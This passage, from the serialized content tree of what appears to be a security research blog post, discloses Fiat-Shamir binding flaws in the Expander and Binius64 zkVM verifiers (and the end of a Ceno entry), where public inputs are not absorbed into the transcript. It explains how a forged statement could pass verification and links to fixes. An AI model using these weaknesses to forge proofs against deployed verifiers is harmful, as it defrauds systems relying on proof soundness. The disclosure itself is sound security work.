6334],[122702,122706,122711,122715,122720],{"type":23,"tag":230,"props":122703,"children":122705},{"className":122704,"style":112667},[6339],[],{"type":23,"tag":230,"props":122707,"children":122709},{"className":122708},[6345,23902],[122710],{"type":29,"value":2148},{"type":23,"tag":230,"props":122712,"children":122714},{"className":122713,"style":6524},[6426],[],{"type":23,"tag":230,"props":122716,"children":122718},{"className":122717},[6529],[122719],{"type":29,"value":863},{"type":23,"tag":230,"props":122721,"children":122723},{"className":122722,"style":6524},[6426],[],{"type":23,"tag":230,"props":122725,"children":122727},{"className":122726},[6334],[122728,122732],{"type":23,"tag":230,"props":122729,"children":122731},{"className":122730,"style":95857},[6339],[],{"type":23,"tag":230,"props":122733,"children":122735},{"className":122734},[6345],[122736],{"type":29,"value":6358},{"type":23,"tag":102,"props":122738,"children":122739},{},[122740,122742],{"type":29,"value":122741},"Bilinear (from multiset): ",{"type":23,"tag":71,"props":122743,"children":122745},{"className":122744},[6318,6319],[122746],{"type":23,"tag":230,"props":122747,"children":122749},{"className":122748},[6324],[122750],{"type":23,"tag":230,"props":122751,"children":122753},{"className":122752,"ariaHidden":1726},[6329],[122754,122780,122858,122936,122962],{"type":23,"tag":230,"props":122755,"children":122757},{"className":122756},[6334],[122758,122762,122767,122771,122776],{"type":23,"tag":230,"props":122759,"children":122761},{"className":122760,"style":94741},[6339],[],{"type":23,"tag":230,"props":122763,"children":122765},{"className":122764,"style":96255},[6345,23902],[122766],{"type":29,"value":90463},{"type":23,"tag":230,"props":122768,"children":122770},{"className":122769,"style":6427},[6426],[],{"type":23,"tag":230,"props":122772,"children":122774},{"className":122773},[6432],[122775],{"type":29,"value":113088},{"type":23,"tag":230,"props":122777,"children":122779},{"className":122778,"style":6427},[6426],[],{"type":23,"tag":230,"props":122781,"children":122783},{"className":122782},[6334],[122784,122788,122845,122849,122854],{"type":23,"tag":230,"props":122785,"children":122787},{"className":122786,"style":121880},[6339],[],{"type":23,"tag":230,"props":122789,"children":122791},{"className":122790},[6345],[122792,122797],{"type":23,"tag":230,"props":122793,"children":122795},{"className":122794},[6345,23902],[122796],{"type":29,"value":4511},{"type":23,"tag":230,"props":122798,"children":122800},{"className":122799},[6362],[122801],{"type":23,"tag":230,"props":122802,"children":122804},{"className":122803},[6367,23956],[122805,122834],{"type":23,"tag":230,"props":122806,"children":122808},{"className":122807},[6372],[122809,122829],{"type":23,"tag":230,"props":122810,"children":122812},{"className":122811,"style":94878},[6377],[122813],{"type":23,"tag":230,"props":122814,"children":122815},{"style":94882},[122816,122820],{"type":23,"tag":230,"props":122817,"children":122819},{"className":122818,"style":6387},[6386],[],{"type":23,"tag":230,"props":122821,"children":122823},{"className":122822},[6392,6393,6394,6395],[122824],{"type":23,"tag":230,"props":122825,"children":122827},{"className":122826},[6345,6395],[122828],{"type":29,"value":6358},{"type":23,"tag":230,"props":122830,"children":122832},{"className":122831},[24059],[122833],{"type":29,"value":24062},{"type":23,"tag":230,"props":122835,"children":122837},{"className":122836},[6372],[122838],{"type":23,"tag":230,"props":122839,"children":122841},{"className":122840,"style":94909},[6377],[122842],{"type":23,"tag":230,"props":122843,"children":122844},{},[],{"type":23,"tag":230,"props":122846,"children":122848},{"className":122847,"style":6427},[6426],[],{"type":23,"tag":230,"props":122850,"children":122852},{"className":122851},[6432],[122853],{"type":29,"value":113088},{"type":23,"tag":230,"props":122855,"children":122857},{"className":122856,"style":6427},[6426],[],{"type":23,"tag":230,"props":122859,"children":122861},{"className":122860},[6334],[122862,122866,122923,122927,122932],{"type":23,"tag":230,"props":122863,"children":122865},{"className":122864,"style":122434},[6339],[],{"type":23,"tag":230,"props":122867,"children":122869},{"className":122868},[6345],[122870,122875],{"type":23,"tag":230,"props":122871,"children":122873},{"className":122872},[6345,23902],[122874],{"type":29,"value":4511},{"type":23,"tag":230,"props":122876,"children":122878},{"className":122877},[6362],[122879],{"type":23,"tag":230,"props":122880,"children":122882},{"className":122881},[6367,23956],[122883,122912],{"type":23,"tag":230,"props":122884,"children":122886},{"className":122885},[6372],[122887,122907],{"type":23,"tag":230,"props":122888,"children":122890},{"className":122889,"style":94878},[6377],[122891],{"type":23,"tag":230,"props":122892,"children":122893},{"style":94882},[122894,122898],{"type":23,"tag":230,"props":122895,"children":122897},{"className":122896,"style":6387},[6386],[],{"type":23,"tag":230,"props":122899,"children":122901},{"className":122900},[6392,6393,6394,6395],[122902],{"type":23,"tag":230,"props":122903,"children":122905},{"className":122904},[6345,6395],[122906],{"type":29,"value":6348},{"type":23,"tag":230,"props":122908,"children":122910},{"className":122909},[24059],[122911],{"type":29,"value":24062},{"type":23,"tag":230,"props":122913,"children":122915},{"className":122914},[6372],[122916],{"type":23,"tag":230,"props":122917,"children":122919},{"className":122918,"style":94909},[6377],[122920],{"type":23,"tag":230,"props":122921,"children":122922},{},[],{"type":23,"tag":230,"props":122924,"children":122926},{"className":122925,"style":6427},[6426],[],{"type":23,"tag":230,"props":122928,"children":122930},{"className":122929},[6432],[122931],{"type":29,"value":6719},{"type":23,"tag":230,"props":122933,"children":122935},{"className":122934,"style":6427},[6426],[],{"type":23,"tag":230,"props":122937,"children":122939},{"className":122938},[6334],[122940,122944,122949,122953,122958],{"type":23,"tag":230,"props":122941,"children":122943},{"className":122942,"style":94741},[6339],[],{"type":23,"tag":230,"props":122945,"children":122947},{"className":122946},[6345,23902],[122948],{"type":29,"value":72341},{"type":23,"tag":230,"props":122950,"children":122952},{"className":122951,"style":6524},[6426],[],{"type":23,"tag":230,"props":122954,"children":122956},{"className":122955},[6529],[122957],{"type":29,"value":863},{"type":23,"tag":230,"props":122959,"children":122961},{"className":122960,"style":6524},[6426],[],{"type":23,"tag":230,"props":122963,"children":122965},{"className":122964},[6334],[122966,122970],{"type":23,"tag":230,"props":122967,"children":122969},{"className":122968,"style":95857},[6339],[],{"type":23,"tag":230,"props":122971,"children":122973},{"className":122972},[6345],[122974],{"type":29,"value":6358},{"type":23,"tag":32,"props":122976,"children":122977},{},[122978],{"type":29,"value":122979},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":23,"tag":32,"props":122981,"children":122982},{},[122983,122987,122989,122996,122998,123005],{"type":23,"tag":2302,"props":122984,"children":122985},{},[122986],{"type":29,"value":118536},{"type":29,"value":122988}," Fixed on March 5, 2026 via ",{"type":23,"tag":181,"props":122990,"children":122993},{"href":122991,"rel":122992},"https://github.com/scroll-tech/ceno/pull/1262",[185],[122994],{"type":29,"value":122995},"PR #1262",{"type":29,"value":122997}," (original report: ",{"type":23,"tag":181,"props":122999,"children":123002},{"href":123000,"rel":123001},"https://github.com/scroll-tech/ceno/issues/1125",[185],[123003],{"type":29,"value":123004},"#1125",{"type":29,"value":5467},{"type":23,"tag":21113,"props":123007,"children":123008},{},[],{"type":23,"tag":59,"props":123010,"children":123012},{"id":123011},"expander-polyhedra",[123013],{"type":29,"value":123014},"Expander (Polyhedra)",{"type":23,"tag":32,"props":123016,"children":123017},{},[123018],{"type":29,"value":123019},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":23,"tag":32,"props":123021,"children":123022},{},[123023],{"type":23,"tag":2302,"props":123024,"children":123025},{},[123026],{"type":29,"value":117242},{"type":23,"tag":220,"props":123028,"children":123030},{"code":123029},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[123031],{"type":23,"tag":71,"props":123032,"children":123033},{"__ignoreMap":7},[123034],{"type":29,"value":123029},{"type":23,"tag":32,"props":123036,"children":123037},{},[123038,123040,123046],{"type":29,"value":123039},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":23,"tag":71,"props":123041,"children":123043},{"className":123042},[],[123044],{"type":29,"value":123045},"eval_cst",{"type":29,"value":123047}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":23,"tag":220,"props":123049,"children":123051},{"code":123050,"language":5319,"meta":7,"className":5320,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[123052],{"type":23,"tag":71,"props":123053,"children":123054},{"__ignoreMap":7},[123055],{"type":23,"tag":230,"props":123056,"children":123057},{"class":232,"line":233},[123058,123062,123067,123072,123076,123080,123084,123088,123093,123097,123102,123107,123111,123116],{"type":23,"tag":230,"props":123059,"children":123060},{"style":262},[123061],{"type":29,"value":78411},{"type":23,"tag":230,"props":123063,"children":123064},{"style":268},[123065],{"type":29,"value":123066}," -=",{"type":23,"tag":230,"props":123068,"children":123069},{"style":676},[123070],{"type":29,"value":123071}," GKRVerifierHelper",{"type":23,"tag":230,"props":123073,"children":123074},{"style":268},[123075],{"type":29,"value":5818},{"type":23,"tag":230,"props":123077,"children":123078},{"style":294},[123079],{"type":29,"value":123045},{"type":23,"tag":230,"props":123081,"children":123082},{"style":274},[123083],{"type":29,"value":302},{"type":23,"tag":230,"props":123085,"children":123086},{"style":268},[123087],{"type":29,"value":5448},{"type":23,"tag":230,"props":123089,"children":123090},{"style":262},[123091],{"type":29,"value":123092},"layer",{"type":23,"tag":230,"props":123094,"children":123095},{"style":268},[123096],{"type":29,"value":312},{"type":23,"tag":230,"props":123098,"children":123099},{"style":274},[123100],{"type":29,"value":123101},"const_, ",{"type":23,"tag":230,"props":123103,"children":123104},{"style":262},[123105],{"type":29,"value":123106},"public_input",{"type":23,"tag":230,"props":123108,"children":123109},{"style":274},[123110],{"type":29,"value":684},{"type":23,"tag":230,"props":123112,"children":123113},{"style":262},[123114],{"type":29,"value":123115},"sp",{"type":23,"tag":230,"props":123117,"children":123118},{"style":274},[123119],{"type":29,"value":753},{"type":23,"tag":32,"props":123121,"children":123122},{},[123123,123125,123130],{"type":29,"value":123124},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":23,"tag":71,"props":123126,"children":123128},{"className":123127},[],[123129],{"type":29,"value":123115},{"type":29,"value":23057},{"type":23,"tag":32,"props":123132,"children":123133},{},[123134],{"type":23,"tag":2302,"props":123135,"children":123136},{},[123137],{"type":29,"value":123138},"The vulnerability:",{"type":23,"tag":32,"props":123140,"children":123141},{},[123142,123147],{"type":23,"tag":71,"props":123143,"children":123145},{"className":123144},[],[123146],{"type":29,"value":123106},{"type":29,"value":123148}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":23,"tag":32,"props":123150,"children":123151},{},[123152],{"type":23,"tag":93,"props":123153,"children":123156},{"alt":123154,"src":123155},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":23,"tag":32,"props":123158,"children":123159},{},[123160,123161,123166],{"type":29,"value":980},{"type":23,"tag":71,"props":123162,"children":123164},{"className":123163},[],[123165],{"type":29,"value":123045},{"type":29,"value":123167}," function computes a linear combination:",{"type":23,"tag":32,"props":123169,"children":123170},{},[123171],{"type":23,"tag":71,"props":123172,"children":123174},{"className":123173},[6318,6319],[123175],{"type":23,"tag":230,"props":123176,"children":123178},{"className":123177},[6324],[123179],{"type":23,"tag":230,"props":123180,"children":123182},{"className":123181,"ariaHidden":1726},[6329],[123183,123228,123352],{"type":23,"tag":230,"props":123184,"children":123186},{"className":123185},[6334],[123187,123191,123200,123205,123215,123219,123224],{"type":23,"tag":230,"props":123188,"children":123190},{"className":123189,"style":96239},[6339],[],{"type":23,"tag":230,"props":123192,"children":123194},{"className":123193},[6345,29],[123195],{"type":23,"tag":230,"props":123196,"children":123198},{"className":123197},[6345],[123199],{"type":29,"value":2229},{"type":23,"tag":230,"props":123201,"children":123203},{"className":123202,"style":94826},[6345],[123204],{"type":29,"value":5422},{"type":23,"tag":230,"props":123206,"children":123208},{"className":123207},[6345,29],[123209],{"type":23,"tag":230,"props":123210,"children":123212},{"className":123211},[6345],[123213],{"type":29,"value":123214},"cst",{"type":23,"tag":230,"props":123216,"children":123218},{"className":123217,"style":6524},[6426],[],{"type":23,"tag":230,"props":123220,"children":123222},{"className":123221},[6529],[123223],{"type":29,"value":863},{"type":23,"tag":230,"props":123225,"children":123227},{"className":123226,"style":6524},[6426],[],{"type":23,"tag":230,"props":123229,"children":123231},{"className":123230},[6334],[123232,123236,123293,123297,123324,123329,123334,123339,123343,123348],{"type":23,"tag":230,"props":123233,"children":123235},{"className":123234,"style":94768},[6339],[],{"type":23,"tag":230,"props":123237,"children":123239},{"className":123238},[23938],[123240,123245],{"type":23,"tag":230,"props":123241,"children":123243},{"className":123242,"style":23945},[23938,23943,23944],[123244],{"type":29,"value":110621},{"type":23,"tag":230,"props":123246,"children":123248},{"className":123247},[6362],[123249],{"type":23,"tag":230,"props":123250,"children":123252},{"className":123251},[6367,23956],[123253,123282],{"type":23,"tag":230,"props":123254,"children":123256},{"className":123255},[6372],[123257,123277],{"type":23,"tag":230,"props":123258,"children":123260},{"className":123259,"style":116033},[6377],[123261],{"type":23,"tag":230,"props":123262,"children":123263},{"style":23969},[123264,123268],{"type":23,"tag":230,"props":123265,"children":123267},{"className":123266,"style":6387},[6386],[],{"type":23,"tag":230,"props":123269,"children":123271},{"className":123270},[6392,6393,6394,6395],[123272],{"type":23,"tag":230,"props":123273,"children":123275},{"className":123274},[6345,23902,6395],[123276],{"type":29,"value":6074},{"type":23,"tag":230,"props":123278,"children":123280},{"className":123279},[24059],[123281],{"type":29,"value":24062},{"type":23,"tag":230,"props":123283,"children":123285},{"className":123284},[6372],[123286],{"type":23,"tag":230,"props":123287,"children":123289},{"className":123288,"style":116313},[6377],[123290],{"type":23,"tag":230,"props":123291,"children":123292},{},[],{"type":23,"tag":230,"props":123294,"children":123296},{"className":123295,"style":6465},[6426],[],{"type":23,"tag":230,"props":123298,"children":123300},{"className":123299},[6345],[123301,123310,123315],{"type":23,"tag":230,"props":123302,"children":123304},{"className":123303},[6345,29],[123305],{"type":23,"tag":230,"props":123306,"children":123308},{"className":123307},[6345],[123309],{"type":29,"value":63450},{"type":23,"tag":230,"props":123311,"children":123313},{"className":123312,"style":94826},[6345],[123314],{"type":29,"value":5422},{"type":23,"tag":230,"props":123316,"children":123318},{"className":123317},[6345,29],[123319],{"type":23,"tag":230,"props":123320,"children":123322},{"className":123321},[6345],[123323],{"type":29,"value":10702},{"type":23,"tag":230,"props":123325,"children":123327},{"className":123326},[24031],[123328],{"type":29,"value":6069},{"type":23,"tag":230,"props":123330,"children":123332},{"className":123331},[6345,23902],[123333],{"type":29,"value":6074},{"type":23,"tag":230,"props":123335,"children":123337},{"className":123336},[24053],[123338],{"type":29,"value":17735},{"type":23,"tag":230,"props":123340,"children":123342},{"className":123341,"style":6427},[6426],[],{"type":23,"tag":230,"props":123344,"children":123346},{"className":123345},[6432],[123347],{"type":29,"value":113088},{"type":23,"tag":230,"props":123349,"children":123351},{"className":123350,"style":6427},[6426],[],{"type":23,"tag":230,"props":123353,"children":123355},{"className":123354},[6334],[123356,123360,123369,123374,123379,123384,123388,123437],{"type":23,"tag":230,"props":123357,"children":123359},{"className":123358,"style":6447},[6339],[],{"type":23,"tag":230,"props":123361,"children":123363},{"className":123362},[6345,29],[123364],{"type":23,"tag":230,"props":123365,"children":123367},{"className":123366},[6345],[123368],{"type":29,"value":114415},{"type":23,"tag":230,"props":123370,"children":123372},{"className":123371},[24031],[123373],{"type":29,"value":302},{"type":23,"tag":230,"props":123375,"children":123377},{"className":123376},[6345,23902],[123378],{"type":29,"value":6074},{"type":23,"tag":230,"props":123380,"children":123382},{"className":123381},[6458],[123383],{"type":29,"value":6461},{"type":23,"tag":230,"props":123385,"children":123387},{"className":123386,"style":6465},[6426],[],{"type":23,"tag":230,"props":123389,"children":123391},{"className":123390},[6345,113975],[123392],{"type":23,"tag":230,"props":123393,"children":123395},{"className":123394},[6367],[123396],{"type":23,"tag":230,"props":123397,"children":123399},{"className":123398},[6372],[123400],{"type":23,"tag":230,"props":123401,"children":123403},{"className":123402,"style":114061},[6377],[123404,123416],{"type":23,"tag":230,"props":123405,"children":123406},{"style":113992},[123407,123411],{"type":23,"tag":230,"props":123408,"children":123410},{"className":123409,"style":113997},[6386],[],{"type":23,"tag":230,"props":123412,"children":123414},{"className":123413,"style":94826},[6345,23902],[123415],{"type":29,"value":95645},{"type":23,"tag":230,"props":123417,"children":123418},{"style":113992},[123419,123423],{"type":23,"tag":230,"props":123420,"children":123422},{"className":123421,"style":113997},[6386],[],{"type":23,"tag":230,"props":123424,"children":123426},{"className":123425,"style":114085},[114015],[123427],{"type":23,"tag":230,"props":123428,"children":123430},{"className":123429,"style":114091},[114090],[123431],{"type":23,"tag":36562,"props":123432,"children":123433},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[123434],{"type":23,"tag":114103,"props":123435,"children":123436},{"d":114105},[],{"type":23,"tag":230,"props":123438,"children":123440},{"className":123439},[24053],[123441],{"type":29,"value":5467},{"type":23,"tag":32,"props":123443,"children":123444},{},[123445,123446,123515,123517,123522,123524,123529],{"type":29,"value":117662},{"type":23,"tag":71,"props":123447,"children":123449},{"className":123448},[6318,6319],[123450],{"type":23,"tag":230,"props":123451,"children":123453},{"className":123452},[6324],[123454],{"type":23,"tag":230,"props":123455,"children":123457},{"className":123456,"ariaHidden":1726},[6329],[123458],{"type":23,"tag":230,"props":123459,"children":123461},{"className":123460},[6334],[123462,123466],{"type":23,"tag":230,"props":123463,"children":123465},{"className":123464,"style":114061},[6339],[],{"type":23,"tag":230,"props":123467,"children":123469},{"className":123468},[6345,113975],[123470],{"type":23,"tag":230,"props":123471,"children":123473},{"className":123472},[6367],[123474],{"type":23,"tag":230,"props":123475,"children":123477},{"className":123476},[6372],[123478],{"type":23,"tag":230,"props":123479,"children":123481},{"className":123480,"style":114061},[6377],[123482,123494],{"type":23,"tag":230,"props":123483,"children":123484},{"style":113992},[123485,123489],{"type":23,"tag":230,"props":123486,"children":123488},{"className":123487,"style":113997},[6386],[],{"type":23,"tag":230,"props":123490,"children":123492},{"className":123491,"style":94826},[6345,23902],[123493],{"type":29,"value":95645},{"type":23,"tag":230,"props":123495,"children":123496},{"style":113992},[123497,123501],{"type":23,"tag":230,"props":123498,"children":123500},{"className":123499,"style":113997},[6386],[],{"type":23,"tag":230,"props":123502,"children":123504},{"className":123503,"style":114085},[114015],[123505],{"type":23,"tag":230,"props":123506,"children":123508},{"className":123507,"style":114091},[114090],[123509],{"type":23,"tag":36562,"props":123510,"children":123511},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[123512],{"type":23,"tag":114103,"props":123513,"children":123514},{"d":114105},[],{"type":29,"value":123516}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":23,"tag":71,"props":123518,"children":123520},{"className":123519},[],[123521],{"type":29,"value":123106},{"type":29,"value":123523},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":23,"tag":71,"props":123525,"children":123527},{"className":123526},[],[123528],{"type":29,"value":123106},{"type":29,"value":123530}," that makes the verifier's check pass.",{"type":23,"tag":32,"props":123532,"children":123533},{},[123534,123538,123540,123547,123548,123551,123558],{"type":23,"tag":2302,"props":123535,"children":123536},{},[123537],{"type":29,"value":118536},{"type":29,"value":123539}," Fixed on 21st January 2026 via ",{"type":23,"tag":181,"props":123541,"children":123544},{"href":123542,"rel":123543},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[185],[123545],{"type":29,"value":123546},"commit 4a8c2be",{"type":29,"value":3374},{"type":23,"tag":33276,"props":123549,"children":123550},{},[],{"type":23,"tag":181,"props":123552,"children":123555},{"href":123553,"rel":123554},"https://blog.polyhedra.network/expander-bug-bounty/",[185],[123556],{"type":29,"value":123557},"Claimed 500k Bug bounty",{"type":29,"value":123559}," award pending",{"type":23,"tag":21113,"props":123561,"children":123562},{},[],{"type":23,"tag":59,"props":123564,"children":123566},{"id":123565},"binius64",[123567],{"type":29,"value":109669},{"type":23,"tag":32,"props":123569,"children":123570},{},[123571,123573,123700],{"type":29,"value":123572},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":23,"tag":71,"props":123574,"children":123576},{"className":123575},[6318,6319],[123577],{"type":23,"tag":230,"props":123578,"children":123580},{"className":123579},[6324],[123581],{"type":23,"tag":230,"props":123582,"children":123584},{"className":123583,"ariaHidden":1726},[6329],[123585],{"type":23,"tag":230,"props":123586,"children":123588},{"className":123587},[6334],[123589,123594],{"type":23,"tag":230,"props":123590,"children":123593},{"className":123591,"style":123592},[6339],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":23,"tag":230,"props":123595,"children":123597},{"className":123596},[6345],[123598,123605],{"type":23,"tag":230,"props":123599,"children":123602},{"className":123600},[6345,123601],"mathbb",[123603],{"type":29,"value":123604},"F",{"type":23,"tag":230,"props":123606,"children":123608},{"className":123607},[6362],[123609],{"type":23,"tag":230,"props":123610,"children":123612},{"className":123611},[6367,23956],[123613,123688],{"type":23,"tag":230,"props":123614,"children":123616},{"className":123615},[6372],[123617,123683],{"type":23,"tag":230,"props":123618,"children":123620},{"className":123619,"style":114158},[6377],[123621],{"type":23,"tag":230,"props":123622,"children":123624},{"style":123623},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[123625,123629],{"type":23,"tag":230,"props":123626,"children":123628},{"className":123627,"style":6387},[6386],[],{"type":23,"tag":230,"props":123630,"children":123632},{"className":123631},[6392,6393,6394,6395],[123633],{"type":23,"tag":230,"props":123634,"children":123636},{"className":123635},[6345,6395],[123637],{"type":23,"tag":230,"props":123638,"children":123640},{"className":123639},[6345,6395],[123641,123646],{"type":23,"tag":230,"props":123642,"children":123644},{"className":123643},[6345,6395],[123645],{"type":29,"value":5462},{"type":23,"tag":230,"props":123647,"children":123649},{"className":123648},[6362],[123650],{"type":23,"tag":230,"props":123651,"children":123653},{"className":123652},[6367],[123654],{"type":23,"tag":230,"props":123655,"children":123657},{"className":123656},[6372],[123658],{"type":23,"tag":230,"props":123659,"children":123662},{"className":123660,"style":123661},[6377],"height:0.7463em;",[123663],{"type":23,"tag":230,"props":123664,"children":123665},{"style":114283},[123666,123670],{"type":23,"tag":230,"props":123667,"children":123669},{"className":123668,"style":110686},[6386],[],{"type":23,"tag":230,"props":123671,"children":123673},{"className":123672},[6392,110691,110692,6395],[123674],{"type":23,"tag":230,"props":123675,"children":123677},{"className":123676},[6345,6395],[123678],{"type":23,"tag":230,"props":123679,"children":123681},{"className":123680},[6345,6395],[123682],{"type":29,"value":32154},{"type":23,"tag":230,"props":123684,"children":123686},{"className":123685},[24059],[123687],{"type":29,"value":24062},{"type":23,"tag":230,"props":123689,"children":123691},{"className":123690},[6372],[123692],{"type":23,"tag":230,"props":123693,"children":123696},{"className":123694,"style":123695},[6377],"height:0.1776em;",[123697],{"type":23,"tag":230,"props":123698,"children":123699},{},[],{"type":29,"value":123701}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":23,"tag":32,"props":123703,"children":123704},{},[123705,123707,123712],{"type":29,"value":123706},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":23,"tag":2302,"props":123708,"children":123709},{},[123710],{"type":29,"value":123711},"Shift Protocol",{"type":29,"value":123713}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":23,"tag":32,"props":123715,"children":123716},{},[123717],{"type":23,"tag":2302,"props":123718,"children":123719},{},[123720],{"type":29,"value":123138},{"type":23,"tag":32,"props":123722,"children":123723},{},[123724],{"type":29,"value":123725},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":23,"tag":220,"props":123727,"children":123729},{"code":123728,"language":5319,"meta":7,"className":5320,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[123730],{"type":23,"tag":71,"props":123731,"children":123732},{"__ignoreMap":7},[123733,123768,123793,123827,123835],{"type":23,"tag":230,"props":123734,"children":123735},{"class":232,"line":233},[123736,123740,123744,123748,123752,123756,123760,123764],{"type":23,"tag":230,"props":123737,"children":123738},{"style":256},[123739],{"type":29,"value":16017},{"type":23,"tag":230,"props":123741,"children":123742},{"style":256},[123743],{"type":29,"value":16022},{"type":23,"tag":230,"props":123745,"children":123746},{"style":294},[123747],{"type":29,"value":10501},{"type":23,"tag":230,"props":123749,"children":123750},{"style":274},[123751],{"type":29,"value":8143},{"type":23,"tag":230,"props":123753,"children":123754},{"style":676},[123755],{"type":29,"value":123604},{"type":23,"tag":230,"props":123757,"children":123758},{"style":274},[123759],{"type":29,"value":684},{"type":23,"tag":230,"props":123761,"children":123762},{"style":676},[123763],{"type":29,"value":118055},{"type":23,"tag":230,"props":123765,"children":123766},{"style":274},[123767],{"type":29,"value":8925},{"type":23,"tag":230,"props":123769,"children":123770},{"class":232,"line":243},[123771,123776,123780,123784,123789],{"type":23,"tag":230,"props":123772,"children":123773},{"style":262},[123774],{"type":29,"value":123775},"    constraint_system",{"type":23,"tag":230,"props":123777,"children":123778},{"style":268},[123779],{"type":29,"value":218},{"type":23,"tag":230,"props":123781,"children":123782},{"style":268},[123783],{"type":29,"value":9477},{"type":23,"tag":230,"props":123785,"children":123786},{"style":676},[123787],{"type":29,"value":123788},"ConstraintSystem",{"type":23,"tag":230,"props":123790,"children":123791},{"style":274},[123792],{"type":29,"value":388},{"type":23,"tag":230,"props":123794,"children":123795},{"class":232,"line":252},[123796,123800,123804,123808,123812,123817,123822],{"type":23,"tag":230,"props":123797,"children":123798},{"style":262},[123799],{"type":29,"value":9858},{"type":23,"tag":230,"props":123801,"children":123802},{"style":268},[123803],{"type":29,"value":218},{"type":23,"tag":230,"props":123805,"children":123806},{"style":268},[123807],{"type":29,"value":9477},{"type":23,"tag":230,"props":123809,"children":123810},{"style":274},[123811],{"type":29,"value":6069},{"type":23,"tag":230,"props":123813,"children":123814},{"style":676},[123815],{"type":29,"value":123816},"Word",{"type":23,"tag":230,"props":123818,"children":123819},{"style":274},[123820],{"type":29,"value":123821},"],    ",{"type":23,"tag":230,"props":123823,"children":123824},{"style":237},[123825],{"type":29,"value":123826},"// \u003C- NEVER ABSORBED\n",{"type":23,"tag":230,"props":123828,"children":123829},{"class":232,"line":280},[123830],{"type":23,"tag":230,"props":123831,"children":123832},{"style":237},[123833],{"type":29,"value":123834},"    // ...\n",{"type":23,"tag":230,"props":123836,"children":123837},{"class":232,"line":334},[123838,123842,123846,123850,123854,123859,123863,123867,123871,123875],{"type":23,"tag":230,"props":123839,"children":123840},{"style":274},[123841],{"type":29,"value":703},{"type":23,"tag":230,"props":123843,"children":123844},{"style":268},[123845],{"type":29,"value":16084},{"type":23,"tag":230,"props":123847,"children":123848},{"style":676},[123849],{"type":29,"value":16089},{"type":23,"tag":230,"props":123851,"children":123852},{"style":274},[123853],{"type":29,"value":8143},{"type":23,"tag":230,"props":123855,"children":123856},{"style":676},[123857],{"type":29,"value":123858},"VerifyOutput",{"type":23,"tag":230,"props":123860,"children":123861},{"style":274},[123862],{"type":29,"value":8143},{"type":23,"tag":230,"props":123864,"children":123865},{"style":676},[123866],{"type":29,"value":123604},{"type":23,"tag":230,"props":123868,"children":123869},{"style":274},[123870],{"type":29,"value":8967},{"type":23,"tag":230,"props":123872,"children":123873},{"style":676},[123874],{"type":29,"value":2075},{"type":23,"tag":230,"props":123876,"children":123877},{"style":274},[123878],{"type":29,"value":8329},{"type":23,"tag":32,"props":123880,"children":123881},{},[123882,123884,123890,123891,123897,123899,123903],{"type":29,"value":123883},"In the shift protocol, challenges ",{"type":23,"tag":71,"props":123885,"children":123887},{"className":123886},[],[123888],{"type":29,"value":123889},"r_j",{"type":29,"value":112},{"type":23,"tag":71,"props":123892,"children":123894},{"className":123893},[],[123895],{"type":29,"value":123896},"inout_eval_point",{"type":29,"value":123898}," are sampled ",{"type":23,"tag":2302,"props":123900,"children":123901},{},[123902],{"type":29,"value":106370},{"type":29,"value":123904}," the public witness is bound.",{"type":23,"tag":32,"props":123906,"children":123907},{},[123908],{"type":23,"tag":2302,"props":123909,"children":123910},{},[123911],{"type":29,"value":117258},{"type":23,"tag":32,"props":123913,"children":123914},{},[123915],{"type":23,"tag":93,"props":123916,"children":123919},{"alt":123917,"src":123918},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":23,"tag":32,"props":123921,"children":123922},{},[123923],{"type":29,"value":123924},"During verification",{"type":23,"tag":144,"props":123926,"children":123927},{},[123928,123948,123960,123979],{"type":23,"tag":102,"props":123929,"children":123930},{},[123931,123933,123938,123940,123946],{"type":29,"value":123932},"Sumcheck produces challenge points ",{"type":23,"tag":71,"props":123934,"children":123936},{"className":123935},[],[123937],{"type":29,"value":123889},{"type":29,"value":123939}," (bit indices) and ",{"type":23,"tag":71,"props":123941,"children":123943},{"className":123942},[],[123944],{"type":29,"value":123945},"r_s",{"type":29,"value":123947}," (shift indices)",{"type":23,"tag":102,"props":123949,"children":123950},{},[123951,123953,123958],{"type":29,"value":123952},"Verifier samples ",{"type":23,"tag":71,"props":123954,"children":123956},{"className":123955},[],[123957],{"type":29,"value":123896},{"type":29,"value":123959}," from transcript",{"type":23,"tag":102,"props":123961,"children":123962},{},[123963,123965,123971,123973,123978],{"type":29,"value":123964},"Verifier computes ",{"type":23,"tag":71,"props":123966,"children":123968},{"className":123967},[],[123969],{"type":29,"value":123970},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":29,"value":123972}," using the unbound 